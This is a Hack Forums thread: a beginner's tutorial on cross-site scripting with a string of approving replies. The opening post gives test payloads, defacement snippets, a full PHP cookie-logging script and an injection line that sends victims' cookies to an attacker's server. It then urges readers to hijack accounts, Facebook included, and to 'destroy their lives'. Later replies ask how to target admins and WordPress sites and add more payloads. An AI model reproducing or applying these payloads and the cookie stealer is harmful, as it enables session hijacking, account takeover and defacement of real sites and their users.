

Forum:[Hack Forums](#)

Thread: [\[tut\]Basic Xss \(and cookie stealing explanation\)](#)

Oxy - December 4, 2011, 3:46 am

Basic Xss (and cookie stealing explanation).

For educational purposes only!

Hellow, HF users.

First of all what do you need.

A vulnerable webstite. (XSS)

Notepad, to store data you collect while injecting.

part 1. What is xss?

- explanation.

- different Types.

part 2. checking xss vulnerability.

- searching vulnerability.

- testing vulnerability.

part 3. changing content.

- insert deface page.

- insert text or images.

part 4. cookie stealing!

- how to set up a cookie stealer.

- how to use a cookie stealer.

- how to use cookies in your advantage.

Part 1. What is Xss?

Explenation.

The full name for Xss is cross site scripting.

You can take this name literally. Because we inject right into the site/ into the inputs.

Changing/editing html. which gives us the advantage to gather user information if they click the malicious input!

cross site scripting is injecting javascript and html into the inputs of a site.

If you by accedent know the arrays a site uses when its php, then you could use some php.

but most likely it wont work.

What is a cookie?

yes, you can eat cookie's. but id suggest you don't try to eat these.

A cookie is a code that contains information for the site to know where exactly you are at the moment.

It is most likely if you have no cookie you can't stay logged in.

We use the advantage of this variable to login on that site whit there cookie.

which will give us acces to there account and more.

Its not only the current site cookie you can steal.
You can steal there facebook cookie's :D
so not only your having fun on their site.
go have fun and destroy their lives!

Different Types.

3 most seen types.
Probably the only ones you will see.

Non persistence XSS

This means that our malicious code would not be permanent.
and only appear at the time we inject it.
This is not very usefull. we want persistence XSS!

Persistence XSS

This means the malicious code is permanent.
The output from this code will be seen by all users!
If we put a cookie stealing script in there.
It would logg all users visiting that link.
providing us whit information to log in on their accounts.

DOM-based XSS

Last but not least.
Our malicious code will be permanent.
But however it will output different due to the type.
it outputs an unexpected result.
in some cases this cant do harm.
in other cases the code can fail.
or will be notified by an admin before you can use it.

part 2. checking xss vulnerability.

This is quite simple.
But first we need to look for a vuln one.

searching vulnerability.

We have to look for all kinds off inputs!
for example:
Code shoutbox, searchbox, forums, comment space, blogs, login place, many more...
So, use google and look for these.

testing vulnerability.
So now we use our script in one of the inputs.

script1:
Code <script>alert("xss");</script>(You created a costom error saying XSS)

Somethimes admins disable the xss word or ".
or other words. we can chenge this.

script2:

Code `<script>alert('test');</script>`(Now you created an error which is test obvious)

But you can also put names or other stuff.

Code `<script>alert("real steel");</script>`this will output my name.

part 3. Changing content!

insert deface page.

Redirecting to another page:

Code `<script>window.open("http://www.yoursite.com/")</script>`

insert text or images.

images.

Code `</img>`

plain text

Code `<b> You got own by real steel!</b>`

part 4. cookie stealing!

how to set up a cookie stealer.

1. we need a cookie stealing script.

Don't worry here we go.

PHP Code

`<?php`

```
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv(
"HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp(
$_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return($ip);
}
```

```
function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_globals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();
}
```

```

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$request_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtml\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD:
$request_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD:
$request_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

```

?>

Now how do we use this?

well we need this php file and a logg file on a online place.

so you will need server acces. call the cookie stealer giveyourname.php
and the logfile log.txt

leave the log.txt file empty.

and paste the cookie stealer script into giveyourname.php!

Now put these in your directory or online somewhere.

how to use a cookie stealer.

By inserting this code into the XSS vulnerable input:

Code <script language=

"JavaScript">document.location="http://yoursite.com/giveyourname.php?cookie=" +
document.cookie;document.location="http://www.whateversite.com"</script>you create a redirect to
your steal script as soon as a user clicks it.

when logged it redirects the user to the unmodified search page or other page.

so they would not notice strange things.

how to use cookies in your advantage.

i will only show this whit an addon for firefox.

don't say chrome is bether!

FIREFOX IS AN AMAZING TOOL IT HAS ALL WE NEED!

this video shows how to use the addon.

[Video: http://www.youtube.com/watch?v=5i4aXl7vx_g]

Security blogspot video

[Video: <http://www.youtube.com/watch?v=vyyoonl3izyk>]

Link to addon:

<http://a4apphack.com/featured/secfox-addons-for-cookie-analysis-and-manipulation>

Now you should be browsing some admin accs :D

Good luck to all of you trying my tutorial.
Sorry for the bad english!
and i hope you enjoyed my tutorial. grtz Real Steel!

-zerocool - December 5, 2011, 11:23 am

Best and High Quality tutorial!!
You are amazing bro.

V i R u S - December 5, 2011, 1:30 pm

lol already knew this, but still good tutorial!

Fr88nk - December 5, 2011, 1:34 pm

Hmm. This looks really good, hower I don't understand most of it yet.
But I'll try to work something out :p
Anyways, thanks for this tutorial!

Numinous - January 3, 2012, 7:46 am

Very Nice Tutorial which i have found on this Forum
thnx dude

marsmarin - January 3, 2012, 10:10 am

I already knew that, but still awesome tutorial

Diabolis - January 31, 2012, 8:50 pm

Lol, this is some good stuff man, thanks for the xss tut recommendations, I've been learning some crazy stuff today that'll boost my proficiency at least 75+%

Great tut man, thanks for the share ?

Question: How are you supposed to get the admin cookies from a non-persistent xss or an xsf attack? Send him the entire xss/xsf link through an adfly url and hope he opens it so it steals his cookies?

Also: just thought of this, is it possible to hijack a low-level website, just some old, un-monitored piece of junk, modify a .php file by adding the stealer into the page through a shell, redirect the admin of another website to this website page by simply saying "hey, check out this website page, isn't it cool?", having them look at the page, and getting their cookies stolen so that you can log into their account and deface their website? If you can, that would make my job about 100x easier.

Oxy - February 1, 2012, 12:35 am

(Jan 31, 2012 09:50 PM)Diabolis Wrote: [\[CITE\]](#) Lol, this is some good stuff man, thanks for the xss tut recommendations, I've been learning some crazy stuff today that'll boost my proficiency at least 75+%

Great tut man, thanks for the share ?

Question: How are you supposed to get the admin cookies from a non-persistent xss or an xsf attack? Send him the entire xss/xsf link through an adfly url and hope he opens it so it steals his cookies?

Also: just thought of this, is it possible to hijack a low-level website, just some old, un-monitored piece of junk, modify a .php file by adding the stealer into the page through a shell, redirect the admin of another website to this website page by simply saying "hey, check out this website page, isn't it cool?", having them look at the page, and getting their cookies stolen so that you can log into their account and deface their website? If you can, that would make my job about 100x easier.
whit this methode you can only do it using persistant xss.
Be sure to look up tutorials on xss shell/tunnels xssf and tamper data.

Best Teemo NA - February 1, 2012, 1:15 am

Nice tut man but for the cookie stealer use php tags its just like code but php :)

apparatix - February 22, 2012, 1:03 pm

Hi all,

How would I go about stealing cookies for another website, say, WordPress?

Thanks for the help.

Chronocide - September 9, 2012, 11:15 am

thanks man this tutorial helped me understand XSS alot more than i previously did ;p

szoker - September 9, 2012, 12:22 pm

What priviledgs i should to give the file log.txt on server?

wild hackers - September 9, 2012, 3:35 pm

High Quality tutorial!!

u r great dude

Sky - September 9, 2012, 4:32 pm

Amazing tutorial for beginners, Deserved a even if it is a year old !

~Arcane ?

franzzz - September 9, 2012, 5:38 pm

Very nice tutorial, thanks for share :)

Exzib - October 8, 2012, 2:54 pm

The cookie logger doesnt work, it says

Cookie:

Then its nothing after it :(

Dr Chlamydia - October 8, 2012, 3:52 pm

thanks for the tutorial :)!!! :) goodd

logging1220 - November 12, 2012, 12:20 am

Can i steal cookie only on persistent ?

Thanks for this tut it helps me alot

Goodies - November 12, 2012, 12:21 am

Great tutorial but the widened fucked up the screen on my iPod touch XD thanks again for posting OP!

xx 0x0 xx - November 12, 2012, 1:33 am

exactly what i was need thanks alot brother for being kind and type this nice tutorial

Ankush - November 23, 2012, 1:10 am

how could i know that the site is vulnerable to persistant or non persistant??

thedudor2 - November 23, 2012, 4:40 am

Thanks for the tutorial, yeah i second the question above anyone??

P?rl - November 23, 2012, 4:47 am

(Nov 23, 2012 02:10 AM)Ankush Wrote: [\[CITE\]](#) how could i know that the site is vulnerable to persistant or non persistant??

Well, if you do get the alert popup, then the place where you injected the code like a search bar for example, if u visit the search bar again and enter anything u want like "Hi" and the alert popsup thats persistent, persistent stays on the site forever, but non-persistent doesn't, so if u injected the code and its non-persistent then if u go back and search anything like "Hi" u woudnt get the popup, tried explaining it into the most easyiest way I can, correct me if im wrong. but persistent are hard to find, you will be lucky to find one, but even doe its persistent or non-persistent if its vulnerable to xss, you will still get that popup if you put a script for example `</><BODY ONFOCUS=prompt(9)>` or `</><img src=a ONERROR=alert(9)>` I usually figure out if its vuln first so i type `xss<>/` into the place you are injecting it and then go to the source and search xss, if it is there then its vuln, if it isn't then its not, close your tage b4 u start go `</>`

Ankush - November 23, 2012, 10:03 pm

(Nov 23, 2012 05:47 AM)P?rl Wrote: [\[CITE\]](#) Well, if you do get the alert popup, then the place where you injected the code like a search bar for example, if u visit the search bar again and enter anything u want like "Hi" and the alert popsup thats persistent, persistent stays on the site forever, but non-persistent doesn't, so if u injected the code and its non-persistent then if u go back and search anything like "Hi" u woudnt get the popup, tried explaining it into the most easyiest way I can, correct me if im wrong. but persistent are hard to find, you will be lucky to find one, but even doe its persistent or non-persistent if its vulnerable to xss, you will still get that popup if you put a script for example `</><BODY ONFOCUS=prompt(9)>` or `</><img src=a ONERROR=alert(9)>` I usually figure out if its vuln first so i type `xss<>/` into the place you are injecting it and then go to the source and search xss, if it is there then its vuln, if it isn't then its not, close your tage b4 u start go `</>`
ok thanks for explaining it so thoroughly... ?

skunks - September 11, 2013, 3:44 am

real awsome tut thank you useful for share

133720 - September 11, 2013, 4:05 am

Nice Tut.

Now I'm learning XSS lol..

Thanks

Enlightenedch33s3ballz - July 24, 2014, 1:05 pm

Nice tut im still learning the ins and outs of web hacking so this is a nice newb tutorial for me.

jeckyll_real - March 3, 2016, 5:03 am

XSS is one of the things that I have to learn, thanks